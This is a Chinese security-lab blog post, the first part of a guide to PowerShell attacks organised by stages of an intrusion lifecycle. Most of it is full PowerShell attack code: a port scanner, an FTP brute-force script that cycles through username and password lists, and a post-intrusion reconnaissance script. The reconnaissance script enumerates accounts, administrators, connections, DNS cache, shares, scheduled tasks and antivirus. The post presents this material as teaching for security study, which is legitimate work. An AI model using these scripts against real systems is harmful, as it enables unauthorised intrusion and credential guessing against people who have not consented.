安全研究 >> 安全研究详情

基于入侵生命周期的PowerShell攻击实战指南(上)

作者: 美创科技安全实验室发布日期: 06月15日
网络世界风云变幻,在很早以前,攻击者就发现使用合法工具进行的攻击可以降低被检测到的几率,而经过授权过的工具可以更容易的绕过安全防护机制。因此大量的攻击者把目光放到了这些合理工具的使用与绕过上。


而PowerShell自2006年横空出世以来,瞬间就成为了攻击者们的“新宠儿“,有关PowerShell的利用技术层出不穷,在2016年分析的49127个PowerShell脚本样本中,有95.4%的样本是恶意的。本期美创安全实验室将会给大家带来基于入侵生命周期的PowerShell攻击实战指南。

01
入侵生命周期



入侵生命周期是由美创安全实验室基于NIST模型、杀伤链模型等综合总结提炼而出的从攻击的角度描述攻击者一次完整攻击过程的攻击框架。
 
主要包含以下7部分:


01
探索发现


在这个阶段中攻击者会先锁定攻击对象,然后利用某些技术手段尽可能多的获取目标暴露出来的信息,近而寻找攻击点,为下一步入侵做准备。


02
入侵和感染


在这个阶段黑客会根据已有信息对目标暴露出的攻击面进行攻击尝试,黑客的知识面与目标的攻击面共同决定了入侵的效果。


03
探索感知


黑客在成功进入系统内部后,由于是首次进入所以会出现对内部环境不熟悉的情况,这时候黑客的动作一定会是对当前所处环境的探索,摸清内部环境与数据分布后便可以进行下一步的操作。


04
传播


在此阶段黑客会利用恶意软件或手动攻击的方法尽可能多的继续获得其他计算机的控制权。


05
攻击和利用


黑客在此阶段便会开始对目标资产进行恶意操作,按照黑客意愿,对能利用的数据进行窃取、利用;对操作系统、敏感文件进行破坏、删除。所有的防御手段都应该极力阻止黑客进行到这一阶段。


06
持久化


黑客在对资产进行恶意操作后为了能够减少再次连接的攻击成本方便下次进入,会进行“留后门”的操作,可能会放置一个能反向连接的恶意程序于目标内,并将其隐藏。这样就能够在攻击机上于目标机进行快速连接。


07
恢复


黑客在执行完所有的攻击操作和持久化操作后,可能会对自身的作案痕迹进行清除,消灭证据,逃避追踪。



02
PowerShell攻击-探索发现



在探索发现阶段,我们使用一种大部分人都可以理解的技术----端口扫描作为代表。我们利用PowerShell完成端口扫描达到了入侵生命周期第一阶段的要求。

functionmc_portscan{
    [CmdletBinding()]Param(
        [parameter(Mandatory =$true, Position =0)]
        [ValidatePattern("\b\d{1,3}.\d{1,3}.\d{1,3}.\d{1,3}\b")]
        [string]
        $ip,
        [int[]]
$ports=@(21,22,23,25,53,80,110,139,143,389,443,445,873,993,995,1080,1086,1723,1433,1521,2375,3128,3306,3389,3690,5432,5800,5900,6379,7001,7002,7778,8000,8001,8080,8081,8089,8161,8888,9000,9001,9060,9200,9300,9080,9090,9999))
    Begin {
        $ping=New-ObjectSystem.Net.NetworkInformation.Ping}
    Process {
        foreach($ain ($ip.Split(".")[0])) {
            foreach($bin ($ip.Split(".")[1])) {
                foreach($cin ($ip.Split(".")[2])) {
                   foreach($din ($ip.Split(".")[3])) {
                       $pingStatus=$ping.Send("$a.$b.$c.$d",1)
                       if($pingStatus.Status -eq"Success"){
                       $HN=[Net.DNS]::BeginGetHostEntry($pingStatus.Address,$null,$null)
                       $HostName=([Net.DNS]::EndGetHostEntry([IAsyncResult]$HN)).HostName
                       }
                       $openport= @()
                       for($i=1;$i-le$ports.Count;$i++){
                            $port=$ports[($i-1)]
                            $client=New-ObjectSystem.Net.Sockets.TcpClient
                           $beginConnect=$client.BeginConnect($pingStatus.Address,$port,$null,$null)
                            if($client.Connected){
                                $openport+=$port}
                           $client.Close()}
                       Write-Host"IPAddress:"$ip;
                       Write-Host"HostName:"$HostName;
                       Write-Host"OpenPorts:"$openport;
}}}}}}

我们可以编写了如上的扫描脚本,主要实现原理就是从我们已预先定义的端口列表中依次选取端口然后向目的IP的这个端口进行TCP连接,如果可以成功连接则记录此端口,否则选取下一个端口继续尝试。虽然有些人说我们有更加好用的Nmap工具等等,但我们需要弄清楚一件事,那就是真实环境下我们不能依赖于对方电脑中为我们准备好了一切所需的工具,很多时候环境不受我们控制,所以我们就需要利用现有的工具达到我们的目的。

我们编写的PS脚本最终执行结果如下:



03
PowerShell攻击-入侵感染



紧承第一阶段探索感知,在第二阶段入侵感染中,我们需要想办法与目标机建立连接甚至获得一定的权限。简单来说,我们需要“攻破“目标机,这就是第二阶段的目标。所以我们以服务爆破技术为代表,作为第二阶段PowerShell攻击的展示。攻击代码如下:

functionmc_ftpbrute {
    [CmdletBinding()]Param(
        [Parameter(Mandatory =$true,Position =0,ValueFromPipeline=$true)]
        [String]
        $IPAddress,
        [Parameter(Position =1,Mandatory=$true)]
        [String]
        $UserList,
        [Parameter(Position =2, Mandatory =$true)]
        [String]
        $PasswordList,
        [Parameter(Position =3, Mandatory =$false)]
        [Switch]
        $StopOnSuccess,
        [Parameter(Position =4, Mandatory =$false)]
        [UInt32]
        $Delay=0)
    Process{
        Write-Verbose"Starting Brute-Force FTP."
        $usernames=Get-Content-ErrorActionSilentlyContinue-Path$UserList
        $passwords=Get-Content-ErrorActionSilentlyContinue-Path$PasswordList
        if (!$usernames) {
            $usernames=$UserList
            Write-Verbose"UserList file does not exist."
            Write-Verbose$usernames}
        if (!$passwords) {
            $passwords=$PasswordList
            Write-Verbose"PasswordList file does not exist."
            Write-Verbose$passwords}
        if($IPAddress-notMatch"^ftp://"){
            $source="ftp://"+$IPAddress
        }else{$source=$IPAddress}
        Write-Output"Brute Forcing FTP on $IPAddress"
        :UsernameLoopforeach ($usernamein$usernames){
            foreach($passwordin$passwords){
                try{
                   $ftpRequest=[System.Net.FtpWebRequest]::Create($source);
                   $ftpRequest.Method =[System.Net.WebRequestMethods+Ftp]::ListDirectoryDetails;
                   Write-Verbose"Trying $userName : $password"
                   $ftpRequest.Credentials =New-ObjectSystem.Net.NetworkCredential($userName,$password)
                   $result=$ftpRequest.GetResponse()
                   $message=$result.BannerMessage +$result.WelcomeMessage
                   Write-Output"Match $userName : $password"
                   $success=$true
                   if($StopOnSuccess){
                       break UsernameLoop}}
                catch{
                   $message=$error[0].ToString()
                   $success=$false}
                Start-Sleep-Seconds$Delay
      }}}}

上述代码简单实现了一个FTP服务的爆破程序,通过PowerShell内置的FTP请求命令:System.Net.
FtpWebRequest,与目标主机的21端口尝试建立FTP连接请求,然后使用用户名字典和密码字典对FTP登录账号进行暴力破解,最终结果如下:



04
PowerShell攻击-探索感知

在第二阶段过后,我们已经成功进入了某台内网主机并获得了一定的权限。在接下来的第三阶段,我们需要摸清楚本机环境,因为作为一个第一次登录的攻击者来说,对于内网环境肯定是两眼一抹黑的。所以我们利用PowerShell尽可能多的获取到有关本机或内网其他机器的情况,方便我们下一步进行横向移动。具体脚本代码如下:

functionmc_findandsearch{
    Process{
        $computer=$env:COMPUTERNAME
        $domain=$env:USERDOMAIN
        Write-Output"`n[1] Computer Info"
        Write-Output"HostName:   $computer" #获得主机名
        $computerinfo=Get-WmiObject-ClassWin32_NetworkAdapterConfiguration-Filter'IPEnabled= True'  #获得IP信息
        $computerinfo
        Write-Output"[2] Local Users of this system"
        $users=Get-WmiObject-ClassWin32_UserAccount-Filter"LocalAccount= 'True'"#获得本机上存在的所有账户名
        $Admins=Get-WmiObjectwin32_groupuser|Where-Object { $_.GroupComponent -match'administrators'-and ($_.GroupComponent -match"Domain=`"$env:COMPUTERNAME`"")} |ForEach-Object {[wmi]$_.PartComponent } |Select-ObjectCaption#获得本机上的管理员账号名
        New-ObjectPSObject-Property @{
            Domain =$domain;
            Users =$users;
            Admin =$Admins
        }|Select-ObjectDomain,Users,Admin
        Write-Output"[3] Active Networking"
        $TCPProperties=[System.Net.NetworkInformation.IPGlobalProperties]::GetIPGlobalProperties()        $Connections=$TCPProperties.GetActiveTcpConnections()           
        $objarray= @()
        foreach($Connectionin$Connections) {                     
            $OutputObj=New-Object-TypeNamePSobject           
            $OutputObj|Add-Member-MemberTypeNoteProperty-Name"LocalAddress"-Value$Connection.LocalEndPoint.Address           
            $OutputObj|Add-Member-MemberTypeNoteProperty-Name"LocalPort"-Value$Connection.LocalEndPoint.Port           
            $OutputObj|Add-Member-MemberTypeNoteProperty-Name"RemoteAddress"-Value$Connection.RemoteEndPoint.Address           
            $OutputObj|Add-Member-MemberTypeNoteProperty-Name"RemotePort"-Value$Connection.RemoteEndPoint.Port           
            $OutputObj|Add-Member-MemberTypeNoteProperty-Name"State"-Value$Connection.State                   
            $objarray+=$OutputObj}
        $activeconnections=$objarray|Format-Table-Wrap|Out-String
        $activeconnections
        Write-Output"[4] DNS list"
        try{
            $dnscache=Get-WmiObject-query"Select * from MSFT_DNSClientCache"-Namespace"root\standardcimv2"-ErrorActionstop|Select-ObjectEntry,Name,Data|Format-Table-Wrap|Out-String
            $dnscache}
        catch{
            Write-Output"There was an error retrieving the DNS cache."}
        Write-Output"[5] Share and schedule tasks"
        $shares=Get-WmiObject-ClassWin32_Share|Format-Table-Wrap|Out-String
        $schedule=new-object-com("Schedule.Service")
        $schedule.connect()
        $tasks=$schedule.getfolder("\").gettasks(0) |Select-ObjectName|Format-Table-Wrap|Out-String
        New-ObjectPSObject-Property @{
            Share =$shares;
            S_Tasks=$tasks}
        Write-Output"[6] Checking if AV is installed"
        $AV=Get-WmiObject-Namespace"root\SecurityCenter2"-Query"SELECT* FROM AntiVirusProduct"
        If ($AV-ne""){
            Write-Output"The following AntiVirus product appears to beinstalled:"$AV.displayName}
        If ($AV-eq""){
            Write-Output"No AV detected."
}}}

以上的PowerShell脚本代码,实现了一些很简单的功能。代码执行结果如下。主要是获得以下信息:系统信息;账户信息;网络信息;共享信息;杀毒软件部署情况等等。为了实现以上功能,PowerShell主要是通过调用WMI组件,或直接从系统变量中取值的方法。关于WMI组件的事情我们放到下一阶段再来讲解。




服务热线:400-811-3777
Copyright ©2005-2020 杭州美创科技有限公司. All Rights Reserved. 浙ICP备12021012号-1